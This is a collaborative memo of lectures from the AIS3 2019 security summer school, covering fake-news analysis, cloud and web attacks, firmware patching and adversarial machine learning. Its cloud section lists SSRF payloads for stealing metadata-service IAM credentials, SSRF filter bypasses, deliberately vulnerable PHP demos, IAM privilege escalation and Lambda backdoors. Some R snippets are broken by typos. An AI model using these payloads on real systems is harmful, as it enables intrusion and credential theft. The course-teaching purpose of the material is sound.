---
title: AIS3 2019 Collaborative Memo
description: Everything you need to know about AIS3 2019, including comprehensive memo, slides, and various demos shown.
image: https://ais3.org/static/img/AIS3_LOGO-02.png
tags: AIS3, AIS3-2019
robots: noindex, nofollow
lang: en
---

[Chinese Traditional (zh-tw) Version](/pybMD-TBQomVmbPDNdp-Xg)

# What is AIS3?

AIS3 is a summer school program backed by the Taiwan Ministry of Education that began in 2015. Students would have to pass a pre-exam to qualify for their studentship.

Roughly 191 students were qualified and selected for AIS3 2019. Instructors include professors from acclaimed universities and agents from tech giants such as MediaTek, Chunghwa Telecom, IBM, Verizon Media, Synology, CyCarrier and more.

[TOC]

---

# Day 1 - 7/29 Mon.

## National Security - Detecting Fake News, Censorship Resilience, Secure Voting

### 👨‍🏫 Author Introduction

:::success
**Primary Author**
- Ming-Hung Wang (王銘宏)
- Dean of Computer Science Department, FongJia University
- Field
* Social media analysis
* Information security
* Artificial intelligence

**Contact**
- 🌐 [Ming-Hung Wang (Facebook)](https://www.facebook.com/mhwang945)
- 🌐 [沈伯洋 Puma (Facebook)](https://www.facebook.com/pumashen)
- 💻 [tonymhwang (GitHub)](https://github.com/tonymhwang)

**Slides**
- https://www.slideshare.net/MingHungWang/ss-129021918
:::

* Often investigates into various political trends via various Taiwanese social media platforms, such as PTT (one of the largest BBS communities that are still alive), Facebook, and Dcard (Taiwanese version of reddit for university students).
* Numerous time [attacked](https://i.imgur.com/IrGZ7Yu.png) for [one of his investigations](https://www.cw.com.tw/article/article.action?id=5093610) regarding Guo-yu Hang
* Note that he wasn't the one who wrote the article

### Fake News Analysis

- Begin analysis by investigating popular social media platforms
- Facebook
- Dcard
- etc.

:::info
**Selective Exposure**

- PTT Gossiping board often contains news that are artificially promoted
- NTD $20 = 100 upvotes = Trending

:::

- [Study] by MIT shows fake news spread _6_ times faster than real news

[study]: https://science.sciencemag.org/content/359/6380/1146

#### What is fake news ❓

* Is the misinformation malicious?
- Erroneous message: errors/mistakes within the overall content,
but not for malicious purposes.
- Untrue information: error within the overall content for a malicious
intention.

* Who spreads these misinformation?
- Terrorists
- Politicians
- Government
- Populace

* The purpose of disinformation
- Economics/monetary purposes
- Political purposes
- Sense of achievement

* How misinformation spread
* Traditional media
- Television/radio broadcast, magazines, one-way communication to the general audience
- e.g. Televised news
* Social media
- Spread via the Internet and social media platform by general users
- Hard to manage by the government; backlash may be unpredictable
- e.g. Facebook, YouTube

#### Vicious cycle of message delivery/news

1. Threat actors spread misinformation via social media
2. Misinformation snowballs all the way up to various social media
3. News media pick up on the misinformation **without clarifications/investigation**
4. General audience of the news media spread the misinformation further

    digraph {
        graph [bgcolor="#23272a"];
        edge [color=white];
        node [shape = circle, color=white,fontcolor=white]
        layout="circo"
        "Traditional media" -> "General audience"
        "General audience" -> "Fake news"
        "Fake news" -> "Social media"
        "Social media" -> "Traditional media"
    }

- 🌐 [Echo chamber in media](https://en.wikipedia.org/wiki/Echo_chamber_(media))

:::success
**Current solution for fake news**
* Renowned individuals or celebrities began creating official accounts on various social media platform such as Facebook, Instagram, Line, etc.
* These individuals with an official account or page have to fix, clarify, and comment on these fake news **immediately**. Otherwise, missed opportunity may lead to irrecoverable damage.
:::

### How can Computer Science help?

- Computer vs. Human source verification
* Speed
* Humans are much slower at looking up evidence and or gathering further clarification
* Accuracy
* Accuracy of AI is ~65%
* [Source](https://www.engadget.com/2018/10/04/mit-ai-catches-fake-news-by-rating-source/)
* Views
* Humans are more prone to pressure from higher up
* Bottleneck
* Humans cannot possibly catch up even if the timeframe is compressed to just a day

- Artificial intelligence misinformation detection
* Facebook detects inappropriate content via AI

#### Misinformation spread analysis

Analysis via network model discovered that social media companies are most applicable at auditing fake news; however, most companies do not wish to interfere with issues like these.

- 📰 [Fake news propagate differently from real news even at early stages of spreading](https://arxiv.org/abs/1803.03443)

##### Additional discoveries

- Fake news often comes from various sources
- Often shared and distributed multiple times
- Real news often comes from one single source
- Usually from a trustworthy source

#### Traits of Misinformation

* Fake news tend to have a shorter paragraph and plenty of adverbs within and contains much lesser quotes and formal terms (This just in: fake news packs a lot in title, uses simpler, repetitive content in text body, more similar to satire than real news)
* Fake news loves to jump to conclusion (Automatic detection of fake news)
* Fake news often use similar sentences to describe the same information
* Use the above criterion to identify the trustworthiness of the said news (Unsupervised content-based identification of fake news articles with Tensor decomposition)

### Case Study

#### Case 1: PTT

##### Initial PTT Analysis

* Everyone gathers around on PTT during [the Sunflower Movement](https://zh.wikipedia.org/zh-tw/%E5%A4%AA%E9%99%BD%E8%8A%B1%E5%AD%B8%E9%81%8B)
* Analyze user's online behavior, published threads, upvoted threads

##### Important analysis

* Upvote/downvote behaviors
* Comment count (SJW?)

##### Research direction

* How to determine whether an article will get plenty of upvote and pushes?
* Who can create such article?
* What are some of the variables to look out for?
* Word count
* Thread published date
* Whether thread was published on a weekday
* With a simple regression model
* $T_p = \alpha_0 + \sum_{i = 1}^{n}{\alpha_i D_{i,p} + \beta_1 \text{Text}_p + \beta_2 \text{is.workhour}_p + \beta_3 \text{is.workday}_p}$

##### Result
* The final up and down vote percentages are highly related to the first 10-12 votes

#### Case 3: Facebook Political Views Analysis

##### Literature Review
* 📰 [Estimating Ideological Scores of Facebook Pages: An Empirical Study in Taiwan](https://sci-hub.tw/10.1093/comjnl/bxx045) The Computer Journal, Vol. 60, Issue 11, Nov. 2017, pp. 1675–1686 doi: 10.1093/comjnl/bxx045 by M. H. Wang, A. C. H. Chang, K. T. Chen, C. L. Lei,
* 📰 [Quantifying social media's political space: Estimating ideology from publicly revealed preferences on Facebook](https://robertmbond.github.io/facebook_ideology.pdf) by Bond, R., & Messing, S.,
* Uses Facebook's upvote feature to evaluate where each political figure stands in a spectrum
* Assuming that user will more likely to only upvote political figure with the same political background
* Uses named-voting for data verification

##### Planning

* Do the exact same thing, but in Taiwan?
* Aside from people, do some of the Pages on Facebook also spread political views?

##### Summary of Collected Data

* $200\text{ ~ }300$ GB of data
* $5\times10^9$ of Likes
* $28\times10^6$ posts
* $212,022$ Facebook pages
* $70\times10^6$ users

##### Anomalies

Problematic data during the research
* Satirical pages (Sarcastic)
* Troll pages (Antagonistic)
* Pages that attack a certain political figure
* Difficulty in analysis of satirical phrases

Solution
* Use the Likes record to find anomaly

#### Case 4: Hands-on Demo

##### Prerequisites

* Understands Chinese 😝
* Ability to write `for` loop
* Ability to write RegEx

##### Dataset Explanation

* Data obtained via PTT Gossiping
* 2018/10/24 ~ 2018/11/24
* [Source](https://reurl.cc/16WoV)
* What to do with the data
* Understand the data structure and format
* Gather all the data required for analysis
* Before doing any of this, be prepared to spend...
* 70% of the time on data sanitization
* Prep a proper framework and pipeline, or you'll regret later.
* 20% of the time analyzing the actual data
* ...10% of the time relaxing, hopefully.

##### Steps to Processing Data

1. Take a look to see if the data has any header (esp. for CSV files)
2. Initial analysis with R

library(readr)
library(data.table)
library(igragh)
library(dplyr)

df = fread('1024_1124.csv', header = T)

nrow(df) # number of rows
names(df) # name of columns

han_df  = df[grepl('韓國瑜', content) | grepl('韓國瑜', title)]
tsai_df = df[grepl('蔡英文', content) | grepl('蔡英文', title)]

nrow(han_df)
nrow(tsai_df)

3. Take deeper dive into the data (commentor & author)

#    Prints first 5 users
han_df$author[1:5]

#    Upon printing, we discover that ID and
#    nicknames are stuck together.
#    time to write RegEx to distinct each entry!

#    Turns out, many companies (e.g. Trend Micro) 
#    treat this as a basic interview question!

han_df$author_id = sub(" (.*)", '', han_df$author)

#    Sorts the frequency in descending order
#    to discover who posted the most about
#    a certain political figure.
author_freq = data.table(table(han_df$author_id))
author_freq = [order(-N)] 

#    Data deduplication by author_id and author_ip?
df$author_id = sub(" (.*)", '', df$author)
df[,c('author_id','author_ip'),with=F]

#    todo: comment this
df %>% group_by(author_id) %>% summarise(unique_ip = n_distinct(author_ip)) %>% arrange(desc(unique_ip))
unique(df[author_id=='oooo']$author_ip)

##### Discover Author to Commenter Relations via Nodes

#    Recreate a new edge list containing only author and commenter
edge_list = rbindlist(lapply(1:nrow(hand_df), fucntion(x){
    author = han_df$author_id[x]
    commenter = unlist(strsplit(han_df$comment[x],"!@#"))
    data.table(commenter=commenter,author=rep(author, length(commenter)))
}))

##### What else?

* Use social media structure to discover political groups
* Centrality
* LCC, DAG, etc.
* Text mining
* Behavior/emotional analysis

---

## Web Vulnerability - Web App Security

### 👨‍🏫 Author Introduction

:::success
**Primary Author**
- Kaiching Wang (王凱慶)
- Chunghwa Telecom Security Informant
- Field
* Pentest
* Network System
* IoT Security

**Contact**
- [Email](mailto:[e-mail])

**Files**
General Files
- [Slides](http://file.inner.ais3.org/190729_afternoon_slide.pdf)
:::

> "Your cloud ain't your cloud."
> [name=王凱慶]
>

### Cloud vs. Local

| Traditional Environments | Cloud Environments |
| :--------: | :--------: |
| Often static | Highly dynamic |
| Preplanned and evaluated | Countless services |
| Lowest service requirement | Dynamically allocated |

#### Basic Security Evaluation

**Basic steps**
1. Service detection (open port)
2. Vulnerability scan/documentation

**Service discovery**
1. IP range discovery
2. Look for online services
a. What ports are open?
b. What services are open?
c. Service version?
3. Domain list
* What domain names does the provider own?

**Vulnerability Scans**

1. Host vuln-scans
a. Nessus
b. nexpose
c. OpenVAS

2. Web vuln-scans
a. Acunetix
b. AppScan
c. WebInspect

#### Cloud Security Evaluation

**Basic steps**
1. Double check service provider's documentation
2. Double check the security of the cloud provider
3. *Then* tell client that their data is secure.

**Other issues**
1. Dynamic IP range
2. Is the service exposed to the public?
3. How are system vulns patched?
4. What can attackers do after invading the system?
5. How is the network structured?
6. Differences between the application framework

#### Differences between various Cloud Environments

1. Basic functionalities are roughly the same
2. Web vulns are mostly the same across cloud and traditional environments
3. Besides most common vulnerabilties on the host machine, the rest lies on the service provider
4. Biggest differences lie in...
* Networking system
* Authentication
* Automation
* Design

### Open Information Collection

* IP Range Scan
* Discover all the IP addresses
* Popular cloud service provider domain ranges
* [Amazon Web Service](https://ip-ranges.amazonaws.com/ip-ranges.json)
* [Google Cloud Platform](https://cloud.google.com/compute/docs/faq#where_can_i_find_product_name_short_ip_ranges)
* [MSFT Azure](https://www.microsoft.com/en-us/download/details.aspx?id=41653)
* Domain Scans
* Search via Search Engines
* Google
* Bing
* Yahoo
* Baidu
* Chinese-based search provider
* Yandex
* Russian-based search provider
* May contain more information due to lax Russian regulation
* Crt.sh
* Cert search service; useful for listing subdomains
* VirusTotal, SecurityTrails, DNSTable
* Record previously translated domain
* Analyze previous behaviors of a domain
* dnsdumpster.com
* Analyze and graph DNS information
* Help analyze DNS records
* Censys, Shodan...
* Records host information that is available on the network space
* Brute-force
* Dictionary attack
* 💻 [Sublist3r (GitHub)](https://github.com/aboul3la/Sublist3r)
* CSP
* Used to define valid web resource domains; used to strengthen the protection against XSS. However, subdomains can often be found under such meta tag.
* e.g., `<meta http-equiv="Content-Security-Policy" content="default-src" 'self'; img-src https://img.ais3.org; child-src'none';">`

### Cloud Service Vulnerabilties

#### VM - AWS EC2

* VM Security Vulnerabilties
* Same hosts contain the same vulnerabilties
* VM source concerns (AMI Market)
* Cloud environment can have all sorts of controls and features

* AMI Market
* Pre-packaged
* On-premise

#### Metadata Service

* What is cloud-init?
* cloud-init is used to initialize cloud machines
* Retrieves settings from the metadata service
* What is Metadata Service?
* Provides additional settings for cloud-init to set up the instance
* Provides additional information for use in environments
* What is in there?
* hostname, host-ID, host-IP
* Network Information
* SSH Public key
* Startup script
* Security Credentials
* How do we get in there?
* Shell
* Command Injection
* SSRF
* IP address for various cloud providers
* AWS/GCP/Azure/Digital Ocean/Helion/OpenStack
- `169.254.169.254`
* Oracle
- `192.0.0.192`
* Alibaba
- `100.100.100.200`
:::info

Examples
* AWS/OpenStack
- `http://169.254.169.254/latest/meta-data/`
- `http://169.254.169.254/latest/user-data`
- `http://169.254.169.254/latest/meta-data/iam/security-credentials/`
- `http://169.254.169.254/latest/meta-data/identity-credentials/`

* Google
- Requires header: `X-Google-Metadata-Request: True`
- `http://169.254.169.254/computeMetadata/v1/`
- No header required
- `http://metadata.google.internal/computeMetadata/v1beta1/`

:::

#### Server-Side Request Forgery (SSRF)

* SSRF attack vector
- Use said service to prong the other
- Explore internal services (port scan)
- Attack internal services (Struct2, Redis, ElasticSearch...)
- Access local file (`/etc/passwd`)
- Identify framework (banner grabbing)
* Where can SSRF occur?
- Anything that can file a new request
- Call for any other services
- Request remote files (file download, caching...)
- Service's internal features (Oracle、MSSQL、CouchDB...)
- Document process (ffmpeg、ImageMagic、Doc、Xlsx、PDF、XML)
- Using other exploits (Command Injection、SQLi、XSS、SSTI)

##### Bypassing SSRF

- HTTP 302 Redirect
- `Location: scheme://IP:Port/Path`
- IP Transformation
* 127.1
* 127.0x0.0x00.1
* 2130706433(127.0.0.1)
* 10.121913
* [::]
* 0000::1
- Domain Translation
* nip.io
* xip.io
- DNS Rebind
* e.g. `A.1.1.1.1.1time.127.0.0.1.1times.repeat.rebind.network` will trigger both `1.1.1.1` and `127.0.0.1`

     <?php
     $domain = 'xxxx.com';
     $ip = gethostbyname($domain); // 1.1.1.1
     if ( !in_blacklist( $ip ) ){
     $content = file_get_contents( $domain ); // 127.0.0.1
     }

- URL Resolve Inconsistencies
- Each lib may have their own interpretation of the domain below.
- e.g. `http://1.1.1.1&@2.2.2.2#@3.3.3.3/`

##### Demo

##### Level 1

<?php
if (!empty($_POST['url'])) {
    $resp = file_get_contents($_POST['url']);
}
?>

<h1>Level 1</h1>

<form method="POST">
    URL: <input name="url" />
    <input type=submit>
</form>

<pre>
    <?= htmlspecialchars($resp); ?>
</pre>

##### Level 2

<?php
if (!empty($_POST['url'])) {
    $url = $_POST['url'];
    if (strpos($url, '169.254.169.254') !== False) {
        die("Deny: 169.254.169.254");
    }
    $resp = file_get_contents($_POST['url']);
}
?>
<h1>Level 2</h1>
<form method="POST">
    URL: <input name="url" />
    <input type=submit>
</form>

<pre>
    <?= htmlspecialchars($resp); ?>
</pre>

#### IAM Role Token Hijack - Now What?

Use 💻 [PACU (GitHub)](https://github.com/RhinoSecurityLabs/pacu) to verify API permissions.

git clone "https://github.com/RhinoSecurityLabs/pacu"
cd pacu
bash install.sh
python3 pacu.py

Bruteforcing permissions via PACU cli:

run iam__bruteforce_permissions

##### Privilege Escalation

* All permissions are managed by IAM
* Grants high-level permission to service controllable role

:::danger
Important permissions
* `iam:CreatePolicyVersion`
* `iam:SetDefaultPolicyVersion`
* `iam:PassRole`
* `iam:CreateAccessKey`
* `iam:CreateLoginProfile`
* `iam:UpdateLoginProfile`
* `iam:AttachUserPolicy`
* `iam:AttachGroupPolicy`
* `iam:AddUserToGroup`
* `iam:UpdateAssumeRolePolicy`
:::

:::warning
Extended permissions
* `ec2:RunInstances`
* `sts:AssumeRole`
* `lambda:CreateFunction`
* `lambda:InvokeFunction`
* `lambda:CreateFunction`
* `lambda:AddPermission`
* `lambda:UpdateFunctionCode`
* `glue:CreateDevEndpoint`
* `glue:UpdateDevEndpoint`
:::

:::info
**Honeytoken**
- 🌐 [CanaryTokens.org](https://canarytokens.org/generate)
- Used as a bait to trigger alarms in case of credential thefts.
:::

### Container

Risk of using container services
* Potential of being escaped
* Risk of unknown Container image source (Docker Hub)

#### Docker Hub

Docker Hub provides all sorts of images for use. Often used to quickly setup dev and test environments.

#### Best Practices

* Do **NOT** download random Docker images on the internet
* Only download Docker image from official sources
* Scan the Docker image before using it

### Cloud Storage Service

* Data storage service
* Operated via API
* Role of cloud storage
* Longterm data storage
* Data exchange
* Backups
* Central of common security issues
- Security permission misconfiguration
- Accidental access

#### AWS S3

##### S3 Bucket Properties

* Bucket names are unique
* Address format
- [bucket name].[region].amazonaws.com
- [region].amazonaws.com/[bucket name]
* Headers usually contain the following
- `x-amz-bucket-region`
- `x-amz-id-2`
- `x-amz-request-id`

##### Information leakage
* 🌐 [Open bucket directory](https://buckets.grayhatwarfare.com)
* 💻 [S3 Leaks (GitHub)](https://github.com/nagwww/s3-leaks)
* Listing via dictionary attack
* Manual bruteforce
* Company name
* Usage name
* DevOps naming convention
* Automatic bruteforce
* Smeegescrape
* CeWL
* 💻 [AWSBucketDump (GitHub)](https://github.com/jordanpotti/AWSBucketDump)
* Automatically list all public AWS S3 files
* Automatically download any "interesting" files

### Serverless

Serverless is a design principle that does not require additional maintenance. The service is only called when it needs to be used.

#### AWS Lambda Limitations

* Memory usage
* Execution time
* File access
* File count
* Programming languages

#### AWS Lambda Properties

* Will not immediately delete use space
* Share execution space
* Limited file access
* **NO Metadata Service**
* Triggered actively

#### AWS Lambda File Discovery

* Source code is stored under `/var/task`
* Temporary files are stored under `/tmp`
* AWS key is under environment variable

#### AWS Lambda API Endpoint Format

Manually retrieve REST API endpoint via awscli

1. Default API endpoint template
- `https://{restapi_id}.execute-api.{region}.amazonaws.com/{stage_name}/{resource_path}`
2. Get Gateway API (`{restapi_id}`) via awscli with previously gotten secret
- `aws apigateway get-rest-apis`
3. Get API Stages via awscli
- `aws apigateway get-stages --rest-api-id {restapi_id}`
4. Get API Resource Path via awscli
- `aws apigateway get-resources --rest-api-id {restapi_id}`

Automatically retrieve REST API endpoint via PACU

* PACU module 💻 [api_gateway__enum_api_endpoint (GitHub)](https://github.com/Bu4275/api_gateway__enum_api_endpoint)

#### What else can AWS Lambda do?

> Plant a backdoor since Lambda is only activated when called.
>

* Create a Lambda with a super-high-privilege role
* Tie to certain API gateway
* ...more

### Domain Hijacking

* When using third-party SaaS, using CNAME to tie in with their own domain
* After service has stopped working, only SaaS account was removed; CNAME was not cleared.
* Reassign domain to our own

#### Risk

* Users might trust the domain more, and therefore fall for a phishing attack.
* Domain used for malicious purposes
* C&C
* OOB Tunnel
* File Transfer

### Advice for Group Projects

* Cloud Security
* Unusual activity audition and fixes
* Service detection and scanning
* Service network visualization
* Service unusual activity detection
* Pentest
* Cloud pentesting application and testing
* Cloud practice environment
* Container Security
* Container security detection and scanning
* Image scanning and categorization

---

# Day 2 - 7/30 Tues.

## Reverse Engineering - Firmware Security Analysis

### 👨‍🏫 Author Introduction

:::success
**Authors**
- 李倫銓
- Manager @ MediaTek
- Expertises in network security
- HITCON CTF leader & manager
- NiNi
- Employee @ MediaTek
- Graduated from Computer Engineering, Jiaotong university
- Member of BFS

**Files**
General Files
- 📰 [Slides](https://drive.google.com/file/d/1iMCkudCihlUV6K4jMFpLo-sxKaJ9HfcA/)
- 📁 [Firmware](http://file.inner.ais3.org/firmware00.zip)
- 📁 [MyLittleOS (author-supplied OS)](http://file.inner.ais3.org/MyLittle-OS.zip)
- 📰 [Settings Guide](https://drive.google.com/file/d/1R49PjB4HCIWQ9OcTICbVyvTQehjvcEMQ)
- 📰 [Project Advice](http://file.inner.ais3.org/Appendix.pdf)

Additional References
- 📰 [Cortex-M4 Manual](http://infocenter.arm.com/help/topic/com.arm.doc.dui0553b/DUI0553.pdf)
- 📰 [ARM Thumb2 cheatsheet](http://infocenter.arm.com/help/topic/com.arm.doc.qrc0001m/QRC0001_UAL.pdf)
- 🌐 [Online Assembler](http://shell-storm.org/online/Online-Assembler-and-Disassembler/)
- 🌐 [Managing EFI Boot Loaders for Linux: Dealing with Secure Boot](https://www.rodsbooks.com/efi-bootloaders/secureboot.html)
:::

:::warning
Windows devices may require an additional workaround to flash the [LinkIt™ 7697](https://labs.mediatek.com/en/platform/linkit-7697); the supplied flash tool may not work. Use 💻 [mt76x7-uploader (GitHub)](https://github.com/MediaTek-Labs/mt76x7-uploader) should you encounter any errors while flashing.
:::

### What is Firmware?

Firmware is a piece of code stored in ROM, EPROM, flash memory. It may provide some functions to software to control hardware. Or, it may be the only program that will run on the embedded system.

### What is UART?

- Ancient interface
- USB emulates UART
- Bitrate must be the same to properly communicate

### What is Bootloader?

> to be added

#### MyLittleOS Demo

- BIOS is hardcoded; behaviors are predetermined
- `mbr.s` defines the MBR to be placed on storage medium

### What is ARM?

- Much lighter than x86
- ARM has many different versions, from ARMv1 to ARMv8, with each iteration introducing new features
- ARM themselves don't sell chips, but rather the license
- Implementation details are added by the buyers.
- CPU naming does not relate to framework version.
- e.g.,
- ARM7EJ -> ARMv5
- ARM11 -> ARMv6
- Naming conventions for series after ARM11 have changed to...
- Cortex-A Application profile
- Cortex-R Real-time profile
- Cortex-M Microcontroller profile
- ARM has several different modes
- ARM
- 4-byte encoding
- Thumb
- 2 or 4-byte encoding
- Thumb is a subset of ARM
- Thumb2
- Code density is similar to Thumb with comparable performance to ARM

#### Hello World Demo

Shell code for building and dumping the ARM binary

# arm 
arm-linux-gnueabi-as -o hello.o hello.s 
arm-linux-gnueabi-ld -o hello hello.o 
arm-linux-gnueabi-objdump -D hello | less 
# thumb
arm-linux-gnueabi-as -mthumb -o hello.o hello.s 
arm-linux-gnueabi-ld -o hello hello.o 
arm-linux-gnueabi-objdump -D -M force-thumb hello | less 
# extract
dd bs=1 skip=495616 if=dump.bin of=strip.bin 
arm-linux-gnueabi-objdump -D -b binary -M force-thumb -m arm strip.bin | less 
dd bs=1 count=2019318 if=strip.bin of=bin.bin 

`hello.s` content

.data 
 
msg: .ascii "Hello, ARM World!\n" 
len = . - msg 
 
.text 
 
.globl _start
_start: 
/* write syscall */ 
mov %r0, $1
ldr %r1, =msg
ldr %r2, =len
mov %r7, $4
swi $0 
 
/* exit syscall */ 
mov %r0, $0 
mov %r7, $1 
swi $0

#### ARMv7 Basic Operation

- `opcode Rd, Rn`
- `opcode Rd, Rn, Op2`

:::warning
Only ldr and str can access memory; none of the other opcode operations can access memory.
:::

##### Register Structure

- R0 ~ R15
- SP(R13)
- LR(R14)
- PC(R15)

##### Units on ARM

- Byte
- Half Word: 2Bytes
- Word: 4Bytes

#### IDA Settings for MTK7697

:::info
**TL;DR**: Use IDA32 with the following settings
<br>
<br>
:::

- Open MTK7697.bin
- In the "Load a new file" dialog
- Select `ARM Little-endian [ARM]`
- Under `Process option`
- Edit ARM architecture
- ARMv7-M
- Thumb-2
- VFPv4
- Hit OK for the rest of the dialogs
- In IDA View-A, look for `CODE32` and click on it
- Press `C` on the keyboard
- Edit -> Segments -> Rebase Program -> 0x10079000
- `r2 -a arm -b 16 -e asm.cpu=cortex -m 0x10079000 MTK7697.bin`

#### Binary Patching

:::success
✅ **Goal**
Win the Snake game @ 0 point!
:::

> todo: replace `file` and `base address` and `hex`

Step:
1. `vim <file>`
2. Use `:%!xxd` to turn it into hex
3. `/<base address>`
4. Use any assembler/disassembler tool to patch `<hex>`(0x2019) into `40 f2 00 03`
5. Use `:%!xxd -r` to turn it back

### What is Secure Boot?

:::info
Important concept to Nintendo Switch & 3DS Hacking
* 📰 [Attacking the Nintendo 3DS Boot ROMs.](https://arxiv.org/pdf/1802.00359.pdf) by Scire, M., Mears, M., Maloney, D., Norman, M., Tux, S., & Monroe, P. (2018).
* 🌐 [ShofEL2, a Tegra X1 and Nintendo Switch exploit](https://fail0verflow.com/blog/2018/shofel2/) by [fail0verflow](https://twitter.com/fail0verflow)
:::

To prevent unauthorized modification to the loaded firmware during bootloading, Secure Boot is used to verify the firmware.

> todo: graphviz this later ~~(or flow chart)~~


### Issues to Overcome with IoT

- A lot of the time once firmware is shipped, most of the time it cannot be updated
- This has since been remedied with Firmware Over-the-Air Updates
- To reduce production and energy cost, some manufacturers opt to use weaker encryption or hashing algorithms
- Weak password is a recurring theme across various IoT devices

## IoT and AI Security - Recent Progress in Adversarial Robustness: Attacks, Defenses, and Certification

### 👨‍🏫 Author Introduction

:::success
**Primary Author**
- Pin-Yu Chen (陳品諭)
- Chief Scientist, RPI-IBM AI Research Center
- Interests include graph learning, network data analytics and their applications to data mining, machine learning, signal processing, and cyber security.

**Contact**
- [Personal website](https://sites.google.com/site/pinyuchenpage/)
- [Twitter](https://twitter.com/pinyuchenTW)
- [Email](mailto:[e-mail])

**Files**
General Files

- [Similar slide used](https://drive.google.com/file/d/1Gg7TMlPElYOa2VM7l-vrX0t_u67W6mIx/view)

Additional References
- 📰 [Chen PY, Sharma Y, Zhang H, Yi J, Hsieh CJ. Ead: elastic-net attacks to deep neural networks via adversarial examples. InThirty-second AAAI conference on artificial intelligence 2018 Apr 25.](https://arxiv.org/abs/1709.04114)
- 🌐 [Trusted AI - IBM Research](https://www.research.ibm.com/artificial-intelligence/trusted-ai/)
- 💻 [CLEVER: A Robustness Metric For Deep Neural Networks (GitHub)](https://github.com/IBM/CLEVER-Robustness-Score)
- 💻 [ART - Adversarial Robustness Toolbox (GitHub)](https://github.com/IBM/adversarial-robustness-toolbox)
- 🌐 [ART Online Demo](https://art-demo.mybluemix.net/)
- 💻 [cleverhans (GitHub)](https://github.com/tensorflow/cleverhans)
- 💻 [Foolbox (GitHub)](https://github.com/bethgelab/foolbox)
:::

### Turns out, AI aren't great at recognizing things

- Using one of the best image classifiers using neural network to identify an image of ostrich
- It was identified as...
- ❌ "safe"
- ❌ "shoe shop"
- ❌ "vacuum"
- Images and neural network models are NOT the only victims

- By slapping a post-it note on a stop sign,
- It was identified as....
- Speed Limit sign

### Adversarial Attacks: Introduction

#### Why do adversarial examples matter?

- Prediction-evasive attacks on an AI model deployed at test time
1. Crisis in trust: inconsistent perception and decision making between humans and machines
2. Implications to security-critical tasks
3. Limitation in current machine learning methods
4. Loss in revenue/reputation

#### IBM's Portfolio in Adversarial Robustness Research

* 20+ papers at top AI/ML conferences in 2018~2019
* AI challenges & toolkits
* Best paper awards

#### Making AI/ML Trustworthy

- Research skill set and tools
- 1st and 0th order (gradient-free) optimization
- Robust optimization
- High-dim statistics and verification
- Deep learning
- Adversarial robustness
- Attack
- Defense
- How to improve vulnerable models
- Certification & evaluation
- Interpretability

#### Accuracy $\neq$ Adversarial Robustness

- Solely pursuing for high-accuracy AI model may lead to troubles
- IBM's benchmark on 18 ImageNet models reveals a trade-off in accuracy and robustness
- In laymen's term, the more accurate a model is, the more it is for it to be prone to attacks.
- 📰 [Su D, Zhang H, Chen H, Yi J, Chen PY, Gao Y. Is Robustness the Cost of Accuracy?--A Comprehensive Study on the Robustness of 18 Deep Image Classification Models. InProceedings of the European Conference on Computer Vision (ECCV) 2018 (pp. 631-648).](http://openaccess.thecvf.com/content_ECCV_2018/papers/Dong_Su_Is_Robustness_the_ECCV_2018_paper.pdf)


#### Why do people care?

Turns out, people care about the trustworthiness of various neural networks. The problem is, wherever there is a neural net, there is a way to trick the system.

- 📰 [Athalye A, Engstrom L, Ilyas A, Kwok K. Synthesizing robust adversarial examples. arXiv preprint arXiv:1707.07397. 2017 Jul 24.](https://arxiv.org/pdf/1707.07397.pdf)

#### More examples to adversarial attacks

- Speech recognition
- Sample input "`without the dataset, the article is useless`"
- Altered input sounds the same to human ears; however, the trained model may perceive it as "`okay google browse to evil.com`"
- 🌐 [Audio Adversarial Examples](https://nicholas.carlini.com/code/audio_adversarial_examples/)
- 📰 [Nicholas Carlini, David Wagner. Audio Adversarial Examples: Targeted Attacks on Speech-to-Text. arXiv:1801.01944](https://arxiv.org/pdf/1801.01944.pdf)
- Data regression
- 3D-printed adversarial turtle
- Sometimes identified as...
- ✅ Turtle
- ❌ Rifle
- ❌ Other
- Anomalies in stop signs
- Lighting condition
- Physical appearances
- ...lead to incorrect object identification (e.g. person on a stop sign)
- 📰 [Eykholt K, Evtimov I, Fernandes E, Li B, Rahmati A, Xiao C, Prakash A, Kohno T, Song D. Robust physical-world attacks on deep learning visual classification. InProceedings of the IEEE Conference on Computer Vision and Pattern Recognition 2018 (pp. 1625-1634).](http://openaccess.thecvf.com/content_cvpr_2018/papers/Eykholt_Robust_Physical-World_Attacks_CVPR_2018_paper.pdf)
- 📰 [Accessorize to a Crime: Real and Stealthy Attacks on State-of-the-Art Face Recognition](https://www.cs.cmu.edu/~sbhagava/papers/face-rec-ccs16.pdf)
- Distractions for AI
- Putting a complex object near the target can lead to confusion
- 📰 [Brown TB, Mané D, Roy A, Abadi M, Gilmer J. Adversarial patch. arXiv preprint arXiv:1712.09665. 2017 Dec 27.](https://arxiv.org/abs/1712.09665)

### Adversarial Attacks: Full Transparency vs. Practicality

#### Attack methods

* Poisoning attack
* Applies for data, model/training method*
* Backdoor
* Applies for data
* Evasion (Adversarial example)
* Applies for model/training method* and inference
* Extraction (Model stealing, membership inference)
* Applies for inference
* Model injection
* Applies for model/training method* and inference

\* No access to model internal information in the black-box attack setting

#### How are adversarial examples generated?

- White-box attack - transparency to adversary
- Attacker already knows what the model and the overall parameters are for the neural network
- Back-propagation as attack vector
- $$ \text{Minimize } Distance(x_0, x_0+\delta) $$
such that $Prediction(x_0) \neq Prediction(x_0+\delta)$
(untargeted attack)
- Black-box attack - limited access, but possible
- Can only observe the surface-level I/O
- No knowledge regarding the model or training data
- No back propagation
- Estimate the gradient using input
- 📰 [Black-box Adversarial Attacks with Limited Queries and Information](https://arxiv.org/abs/1804.08598)

#### Applications and Extensions based on Adversarial Attacks

- 📰 [signSGD via Zeroth-Order Oracle](https://openreview.net/forum?id=BJe-DsC5Fm)
- 📰 [Structured Adversarial Attack: Towards General Implementation and Better Interpretability](https://arxiv.org/abs/1808.01664)

#### Generating Contrastive Explanations

One area to work on regarding image recognition is having the AI identify lack of a certain feature for the subject.

* Pertinent Positive (PP): minimally sufficient to be present to support the original classification
* Pertinent Negative (PN): necessarily absent to prevent changing the classification of the original image

:::info
**Notable issue with current AI implementation**
AI are insistent on getting an answer instead of returning something like "I don't know" or "I'm not sure."
:::

#### Real-world applications

- 📰 [Adversarial: Perceptual Ad-Blocking meets Adversarial Machine Learning](https://arxiv.org/abs/1811.03194)
- 📰 [Shoplifting Smart Stores Using Adversarial Machine Learning](https://www.researchgate.net/publication/334273503_Shoplifting_Smart_Stores_Using_Adversarial_Machine_Learning)

### Adversarial Defenses: Empirically vs. Provable Robustness

- Learning to classify is all about drawing a line
- Have AI classify and decide what the object is
